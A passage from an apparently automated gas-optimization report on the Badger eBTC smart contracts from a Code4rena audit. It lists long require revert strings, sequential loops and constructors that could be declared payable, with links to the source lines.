https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L826

File: contracts/BorrowerOperations.sol

831    require(status == 0, "BorrowerOperations: Cdp is active or has been previously closed")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L831

File: contracts/BorrowerOperations.sol

835    require(_debtChange > 0, "BorrowerOperations: Debt increase requires non-zero debtChange")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L835

File: contracts/BorrowerOperations.sol

839    require(
840                !_checkRecoveryModeForTCR(_tcr),
841                "BorrowerOperations: Operation not permitted during Recovery Mode"
842            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L839-L842

File: contracts/BorrowerOperations.sol

846    require(
847                _stEthBalanceDecrease == 0,
848                "BorrowerOperations: Collateral withdrawal not permitted during Recovery Mode"
849            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L846-L849

File: contracts/BorrowerOperations.sol

911    require(
912                _newICR >= MCR,
913                "BorrowerOperations: An operation that would result in ICR < MCR is not permitted"
914            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L911-L914

File: contracts/BorrowerOperations.sol

918    require(_newICR >= CCR, "BorrowerOperations: Operation must leave cdp with ICR >= CCR")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L918

File: contracts/BorrowerOperations.sol

922    require(
923                _newICR >= _oldICR,
924                "BorrowerOperations: Cannot decrease your Cdp's ICR in Recovery Mode"
925            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L922-L925

File: contracts/BorrowerOperations.sol

929    require(
930                _newTCR >= CCR,
931                "BorrowerOperations: An operation that would result in TCR < CCR is not permitted"
932            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L929-L932

File: contracts/BorrowerOperations.sol

936    require(_debt > 0, "BorrowerOperations: Debt must be non-zero")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L936

File: contracts/BorrowerOperations.sol

940    require(
941                _stEthBalance >= MIN_NET_STETH_BALANCE,
942                "BorrowerOperations: Cdp's net stEth balance must not fall below minimum"
943            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L940-L943

File: contracts/BorrowerOperations.sol

947    require(
948                _debtRepayment <= _currentDebt,
949                "BorrowerOperations: Amount repaid must not be larger than the Cdp's debt"
950            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L947-L950

File: contracts/BorrowerOperations.sol

957    require(
958                ebtcToken.balanceOf(_account) >= _debtRepayment,
959                "BorrowerOperations: Caller doesnt have enough eBTC to make repayment"
960            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L957-L960

File: contracts/BorrowerOperations.sol

970    require(
971                _approval != PositionManagerApproval.None,
972                "BorrowerOperations: Only borrower account or approved position manager can OpenCdp on borrower's behalf"
973            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L970-L973

File: contracts/BorrowerOperations.sol

1116    require(!flashLoansPaused, "BorrowerOperations: Flash Loans Paused")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1116

File: contracts/BorrowerOperations.sol

1141    require(
1142                _feeRecipientAddress != address(0),
1143                "BorrowerOperations: Cannot set feeRecipient to zero address"
1144            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1141-L1144

File: contracts/BorrowerOperations.sol

1155    require(_newFee <= MAX_FEE_BPS, "ERC3156FlashLender: _newFee should <= MAX_FEE_BPS")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1155

File: contracts/BorrowerOperations.sol

145    require(locked == OPEN, "BorrowerOperations: Reentrancy in nonReentrant call")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L145

File: contracts/BorrowerOperations.sol

146    require(
147                ReentrancyGuard(address(cdpManager)).locked() == OPEN,
148                "CdpManager: Reentrancy in nonReentrant call"
149            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L146-L149

File: contracts/CdpManager.sol

431    require(totals.collSharesDrawn > 0, "CdpManager: Unable to redeem any amount")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L431

File: contracts/CdpManager.sol

502    require(_toRemoveIds[0] == _start, "CdpManager: batchRemoveSortedCdpIds check start error")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L502

File: contracts/CdpManager.sol

503    require(
504                _toRemoveIds[_total - 1] == _end,
505                "CdpManager: batchRemoveSortedCdpIds check end error"
506            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L503-L506

File: contracts/CdpManager.sol

626    require(newBaseRate > 0, "CdpManager: new baseRate is zero!")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L626

File: contracts/CdpManager.sol

672    require(redemptionFee < _ETHDrawn, "CdpManager: Fee would eat up all returned collateral")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L672

File: contracts/CdpManager.sol

743    require(
744                callerBalance >= _amount,
745                "CdpManager: Requested redemption amount must be <= user's EBTC token balance"
746            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L743-L746

File: contracts/CdpManager.sol

747    require(
748                callerBalance <= _totalSupply,
749                "CdpManager: redeemer's EBTC balance exceeds total supply!"
750            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L747-L750

File: contracts/CdpManager.sol

754    require(_amount > 0, "CdpManager: Amount must be greater than zero")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L754

File: contracts/CdpManager.sol

758    require(_TCR >= MCR, "CdpManager: Cannot redeem when TCR < MCR")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L758

File: contracts/CdpManager.sol

762    require(
763                _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= DECIMAL_PRECISION,
764                "Max fee percentage must be between redemption fee floor and 100%"
765            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L762-L765

File: contracts/CdpManager.sol

774    require(
775                _stakingRewardSplit <= MAX_REWARD_SPLIT,
776                "CDPManager: new staking reward split exceeds max"
777            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L774-L777

File: contracts/CdpManager.sol

789    require(
790                _redemptionFeeFloor >= MIN_REDEMPTION_FEE_FLOOR,
791                "CDPManager: new redemption fee floor is lower than minimum"
792            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L789-L792

File: contracts/CdpManager.sol

793    require(
794                _redemptionFeeFloor <= DECIMAL_PRECISION,
795                "CDPManager: new redemption fee floor is higher than maximum"
796            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L793-L796

File: contracts/CdpManager.sol

808    require(
809                _minuteDecayFactor >= MIN_MINUTE_DECAY_FACTOR,
810                "CDPManager: new minute decay factor out of range"
811            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L808-L811

File: contracts/CdpManager.sol

812    require(
813                _minuteDecayFactor <= MAX_MINUTE_DECAY_FACTOR,
814                "CDPManager: new minute decay factor out of range"
815            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L812-L815

File: contracts/CdpManagerStorage.sol

112    require(
113                _gracePeriod >= MINIMUM_GRACE_PERIOD,
114                "CdpManager: Grace period below minimum duration"
115            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L112-L115

File: contracts/CdpManagerStorage.sol

261    require(
262                closedStatus != Status.nonExistent && closedStatus != Status.active,
263                "CdpManagerStorage: close non-exist or non-active CDP!"
264            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L261-L264

File: contracts/CdpManagerStorage.sol

453    require(totalStakesSnapshot > 0, "CdpManagerStorage: zero totalStakesSnapshot!")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L453

File: contracts/CdpManagerStorage.sol

466    require(
467                cdpStatus != Status.nonExistent && cdpStatus != Status.active,
468                "CdpManagerStorage: remove non-exist or non-active CDP!"
469            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L466-L469

File: contracts/CdpManagerStorage.sol

475    require(index <= idxLast, "CdpManagerStorage: CDP indexing overflow!")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L475

File: contracts/CdpManagerStorage.sol

556    require(_newIndex > _prevIndex, "CDPManager: only take fee with bigger new index")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L556

File: contracts/CdpManagerStorage.sol

649    require(Cdps[_cdpId].status == Status.active, "CdpManager: Cdp does not exist or is closed")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L649

File: contracts/CdpManagerStorage.sol

653    require(
654                CdpOwnersArrayLength > 1 && sortedCdps.getSize() > 1,
655                "CdpManager: Only one cdp in the system"
656            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L653-L656

File: contracts/CdpManagerStorage.sol

660    require(
661                msg.sender == borrowerOperationsAddress,
662                "CdpManager: Caller is not the BorrowerOperations contract"
663            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L660-L663

File: contracts/CdpManagerStorage.sol

242    require(locked == OPEN, "CdpManager: Reentrancy in nonReentrant call")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L242

File: contracts/CdpManagerStorage.sol

243    require(
244                ReentrancyGuard(borrowerOperationsAddress).locked() == OPEN,
245                "BorrowerOperations: Reentrancy in nonReentrant call"
246            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L243-L246

File: contracts/CollSurplusPool.sol

92    require(claimableColl > 0, "CollSurplusPool: No collateral available to claim")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L92

File: contracts/CollSurplusPool.sol

113    require(
114                msg.sender == borrowerOperationsAddress,
115                "CollSurplusPool: Caller is not Borrower Operations"
116            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L113-L116

File: contracts/CollSurplusPool.sol

120    require(msg.sender == cdpManagerAddress, "CollSurplusPool: Caller is not CdpManager")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L120

File: contracts/CollSurplusPool.sol

124    require(msg.sender == activePoolAddress, "CollSurplusPool: Caller is not Active Pool")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L124

File: contracts/CollSurplusPool.sol

143    require(token != address(collateral), "CollSurplusPool: Cannot Sweep Collateral")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L143

File: contracts/CollSurplusPool.sol

146    require(amount <= balance, "CollSurplusPool: Attempt to sweep more than balance")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L146

File: contracts/EBTCToken.sol

144    require(cachedAllowance >= amount, "ERC20: transfer amount exceeds allowance")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L144

File: contracts/EBTCToken.sol

165    require(cachedAllowances >= subtractedValue, "ERC20: decreased allowance below zero")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L165

File: contracts/EBTCToken.sol

251    require(cachedSenderBalances >= amount, "ERC20: transfer amount exceeds balance")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L251

File: contracts/EBTCToken.sol

263    require(account != address(0), "EBTCToken: mint to zero recipient!")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L263

File: contracts/EBTCToken.sol

271    require(account != address(0), "EBTCToken: burn from zero account!")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L271

File: contracts/EBTCToken.sol

274    require(cachedBalance >= amount, "ERC20: burn amount exceeds balance")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L274

File: contracts/EBTCToken.sol

296    require(
297                _recipient != address(0) && _recipient != address(this),
298                "EBTC: Cannot transfer tokens directly to the EBTC token contract or the zero address"
299            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L296-L299

File: contracts/EBTCToken.sol

300    require(
301                _recipient != cdpManagerAddress && _recipient != borrowerOperationsAddress,
302                "EBTC: Cannot transfer tokens directly to the CdpManager or BorrowerOps"
303            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L300-L303

File: contracts/EBTCToken.sol

307    require(
308                msg.sender == borrowerOperationsAddress,
309                "EBTCToken: Caller is not BorrowerOperations"
310            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L307-L310

File: contracts/EBTCToken.sol

315    require(
316                msg.sender == borrowerOperationsAddress ||
317                    msg.sender == cdpManagerAddress ||
318                    isAuthorized(msg.sender, msg.sig),
319                "EBTC: Caller is neither BorrowerOperations nor CdpManager nor authorized"
320            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L315-L320

File: contracts/LeverageMacroBase.sol

179    require(
180                    cdpInfo.status == checkParams.expectedStatus,
181                    "!LeverageMacroReference: openCDP status check"
182                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L179-L182

File: contracts/LeverageMacroBase.sol

191    require(
192                    cdpInfo.status == checkParams.expectedStatus,
193                    "!LeverageMacroReference: adjustCDP status check"
194                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L191-L194

File: contracts/LeverageMacroBase.sol

201    require(
202                    cdpInfo.status == checkParams.expectedStatus,
203                    "!LeverageMacroReference: closeCDP status check"
204                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L201-L204

File: contracts/LeverageMacroBase.sol

249    require(check.value >= valueToCheck, "!LeverageMacroReference: gte post check")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L249

File: contracts/LeverageMacroBase.sol

251    require(check.value <= valueToCheck, "!LeverageMacroReference: let post check")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L251

File: contracts/LeverageMacroBase.sol

253    require(check.value == valueToCheck, "!LeverageMacroReference: equal post check")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L253

File: contracts/LeverageMacroBase.sol

352    require(initiator == address(this), "LeverageMacroReference: wrong initiator for flashloan")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L352

File: contracts/LeverageMacroBase.sol

356    require(
357                    msg.sender == address(borrowerOperations),
358                    "LeverageMacroReference: wrong lender for eBTC flashloan"
359                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L356-L359

File: contracts/LeverageMacroBase.sol

362    require(
363                    msg.sender == address(activePool),
364                    "LeverageMacroReference: wrong lender for stETH flashloan"
365                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L362-L365

File: contracts/LeverageMacroBase.sol

440    require(
441                        IERC20(swapChecks[i].tokenToCheck).balanceOf(address(this)) >
442                            swapChecks[i].expectedMinOut,
443                        "LeverageMacroReference: swap check failure!"
444                    )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L440-L444

File: contracts/LiquidationLibrary.sol

56    require(_partialAmount != 0, "LiquidationLibrary: use `liquidate` for 100%")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L56

File: contracts/LiquidationLibrary.sol

82    require(
83                    _checkICRAgainstLiqThreshold(_ICR, _TCR),
84                    "LiquidationLibrary: ICR is not below liquidation threshold in current mode"
85                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L82-L85

File: contracts/LiquidationLibrary.sol

89    require(
90                    cachedLastGracePeriodStartTimestamp != UNSET_TIMESTAMP,
91                    "LiquidationLibrary: Recovery Mode grace period not started"
92                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L89-L92

File: contracts/LiquidationLibrary.sol

93    require(
94                    block.timestamp >
95                        cachedLastGracePeriodStartTimestamp + recoveryModeGracePeriodDuration,
96                    "LiquidationLibrary: Recovery mode grace period still in effect"
97                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L93-L97

File: contracts/LiquidationLibrary.sol

477    require(
478                    getCachedICR(_cdpId, _partialState.price) >= _partialState.ICR,
479                    "LiquidationLibrary: !_newICR>=_ICR"
480                )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L477-L480

File: contracts/LiquidationLibrary.sol

680    require(
681                _cdpArray.length != 0,
682                "LiquidationLibrary: Calldata address array must not be empty"
683            )

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L680-L683

File: contracts/LiquidationLibrary.sol

710    require(totals.totalDebtInSequence > 0, "LiquidationLibrary: nothing to liquidate")

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https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L710

File: contracts/LiquidationLibrary.sol

901    require(
902                (_partialDebt + _convertDebtDenominationToBtc(MIN_NET_STETH_BALANCE, _price)) <=
903                    _entireDebt,
904                "LiquidationLibrary: Partial debt liquidated must be less than total debt"
905            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L901-L905

File: contracts/LiquidationLibrary.sol

909    require(
910                _entireColl >= MIN_NET_STETH_BALANCE,
911                "LiquidationLibrary: Coll remaining in partially liquidated CDP must be >= minimum"
912            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L909-L912

File: contracts/PriceFeed.sol

79    require(
80                !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
81                    !_chainlinkIsFrozen(chainlinkResponse),
82                "PriceFeed: Chainlink must be working and current"
83            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L79-L83

File: contracts/SortedCdps.sol

352    require(cdpManager.getCdpStatus(_id) == 0, "SortedCdps: new id is NOT nonExistent!")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L352

File: contracts/SortedCdps.sol

367    require(!contains(_id), "SortedCdps: List already contains the node")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L367

File: contracts/SortedCdps.sol

371    require(_NICR > 0, "SortedCdps: NICR must be positive")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L371

File: contracts/SortedCdps.sol

422    require(_len > 1, "SortedCdps: batchRemove() only apply to multiple cdpIds!")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L422

File: contracts/SortedCdps.sol

427    require(
428                _firstPrev != dummyId || _lastNext != dummyId,
429                "SortedCdps: batchRemove() leave ZERO node left!"
430            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L427-L430

File: contracts/SortedCdps.sol

433    require(contains(_ids[i]), "SortedCdps: List does not contain the id")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L433

File: contracts/SortedCdps.sol

458    require(contains(_id), "SortedCdps: List does not contain the id")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L458

File: contracts/SortedCdps.sol

506    require(contains(_id), "SortedCdps: List does not contain the id")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L506

File: contracts/SortedCdps.sol

508    require(_newNICR > 0, "SortedCdps: NICR must be positive")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L508

File: contracts/SortedCdps.sol

715    require(msg.sender == address(cdpManager), "SortedCdps: Caller is not the CdpManager")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L715

File: contracts/SortedCdps.sol

720    require(
721                msg.sender == borrowerOperationsAddress || msg.sender == address(cdpManager),
722                "SortedCdps: Caller is neither BO nor CdpM"
723            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L720-L723

[G-23] Consider Merge Sequential For-Loops

  • Severity: Gas Optimization
  • Confidence: High

Description

Detects instances where multiple for-loops appear sequentially in the same function. This may indicate an opportunity for loop fusion, a code optimization technique that merges multiple loops into a single one.

There are 1 instances of this issue:

Consider merging those following loops to one loop if appropriate :

File: contracts/SortedCdps.sol

432    i < _len
File: contracts/SortedCdps.sol

449    i < _len

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L432

[G-24] Declare Constructor Function as Payable to Save Gas

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 336

Description

Constructors should be declared payable to save gas

There are 16 instances of this issue:

File: contracts/ActivePool.sol

46    constructor(
47            address _borrowerOperationsAddress,
48            address _cdpManagerAddress,
49            address _collTokenAddress,
50            address _collSurplusAddress,
51            address _feeRecipientAddress
52        ) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L46-L66

File: contracts/BorrowerOperations.sol

107    constructor(
108            address _cdpManagerAddress,
109            address _activePoolAddress,
110            address _collSurplusPoolAddress,
111            address _priceFeedAddress,
112            address _sortedCdpsAddress,
113            address _ebtcTokenAddress,
114            address _feeRecipientAddress,
115            address _collTokenAddress
116        ) EbtcBase(_activePoolAddress, _priceFeedAddress, _collTokenAddress) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L107-L137

File: contracts/CdpManager.sol

30    constructor(
31            address _liquidationLibraryAddress,
32            address _authorityAddress,
33            address _borrowerOperationsAddress,
34            address _collSurplusPoolAddress,
35            address _ebtcTokenAddress,
36            address _sortedCdpsAddress,
37            address _activePoolAddress,
38            address _priceFeedAddress,
39            address _collTokenAddress
40        )
41            CdpManagerStorage(
42                _liquidationLibraryAddress,
43                _authorityAddress,
44                _borrowerOperationsAddress,
45                _collSurplusPoolAddress,
46                _ebtcTokenAddress,
47                _sortedCdpsAddress,
48                _activePoolAddress,
49                _priceFeedAddress,
50                _collTokenAddress
51            )
52        

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L30-L60

File: contracts/CdpManagerStorage.sol

217    constructor(
218            address _liquidationLibraryAddress,
219            address _authorityAddress,
220            address _borrowerOperationsAddress,
221            address _collSurplusPool,
222            address _ebtcToken,
223            address _sortedCdps,
224            address _activePool,
225            address _priceFeed,
226            address _collateral
227        ) EbtcBase(_activePool, _priceFeed, _collateral) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L217-L237

File: contracts/CollSurplusPool.sol

42    constructor(
43            address _borrowerOperationsAddress,
44            address _cdpManagerAddress,
45            address _activePoolAddress,
46            address _collTokenAddress
47        ) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L42-L58

File: contracts/EBTCToken.sol

61    constructor(
62            address _cdpManagerAddress,
63            address _borrowerOperationsAddress,
64            address _authorityAddress
65        ) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L61-L78

File: contracts/Governor.sol

36    constructor(address _owner) RolesAuthority(_owner, Authority(address(this))) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L36

File: contracts/HintHelpers.sol

27    constructor(
28            address _sortedCdpsAddress,
29            address _cdpManagerAddress,
30            address _collateralAddress,
31            address _activePoolAddress,
32            address _priceFeedAddress
33        ) EbtcBase(_activePoolAddress, _priceFeedAddress, _collateralAddress) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L27-L36

File: contracts/LeverageMacroBase.sol

51    constructor(
52            address _borrowerOperationsAddress,
53            address _activePool,
54            address _cdpManager,
55            address _ebtc,
56            address _coll,
57            address _sortedCdps,
58            bool _sweepToCaller
59        ) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L51-L68

File: contracts/LeverageMacroDelegateTarget.sol

41    constructor(
42            address _borrowerOperationsAddress,
43            address _activePool,
44            address _cdpManager,
45            address _ebtc,
46            address _coll,
47            address _sortedCdps
48        )
49            LeverageMacroBase(
50                _borrowerOperationsAddress,
51                _activePool,
52                _cdpManager,
53                _ebtc,
54                _coll,
55                _sortedCdps,
56                false // Do not sweep to caller
57            )
58        

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroDelegateTarget.sol#L41-L60

File: contracts/LeverageMacroFactory.sol

21    constructor(
22            address _borrowerOperationsAddress,
23            address _activePool,
24            address _cdpManager,
25            address _ebtc,
26            address _coll,
27            address _sortedCdps
28        ) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L21-L35

File: contracts/LeverageMacroReference.sol

17    constructor(
18            address _borrowerOperationsAddress,
19            address _activePool,
20            address _cdpManager,
21            address _ebtc,
22            address _coll,
23            address _sortedCdps,
24            address _owner
25        )
26            LeverageMacroBase(
27                _borrowerOperationsAddress,
28                _activePool,
29                _cdpManager,
30                _ebtc,
31                _coll,
32                _sortedCdps,
33                true // Sweep to caller since this is not supposed to hold funds
34            )
35        

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroReference.sol#L17-L42

File: contracts/LiquidationLibrary.sol

14    constructor(
15            address _borrowerOperationsAddress,
16            address _collSurplusPool,
17            address _ebtcToken,
18            address _sortedCdps,
19            address _activePool,
20            address _priceFeed,
21            address _collateral
22        )
23            CdpManagerStorage(
24                address(0),
25                address(0),
26                _borrowerOperationsAddress,
27                _collSurplusPool,
28                _ebtcToken,
29                _sortedCdps,
30                _activePool,
31                _priceFeed,
32                _collateral
33            )
34        

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L14-L34

File: contracts/PriceFeed.sol

57    constructor(
58            address _fallbackCallerAddress,
59            address _authorityAddress,
60            address _collEthCLFeed,
61            address _ethBtcCLFeed
62        ) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L57-L89

File: contracts/SimplifiedDiamondLike.sol

44    constructor(address _owner) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L44-L46

File: contracts/SortedCdps.sol

88    constructor(uint256 _size, address _cdpManagerAddress, address _borrowerOperationsAddress) 

should be declared payable:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L88-L97

[G-25] Optimize address(0) Checks Using Assembly

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 348

Description

Solidity provides address(0) as a constant for the zero address. While it is generally safe to use, explicit checks against address(0) in your code might be slightly more gas efficient if implemented in inline assembly, due to reduced overhead.

There are 6 instances of this issue:

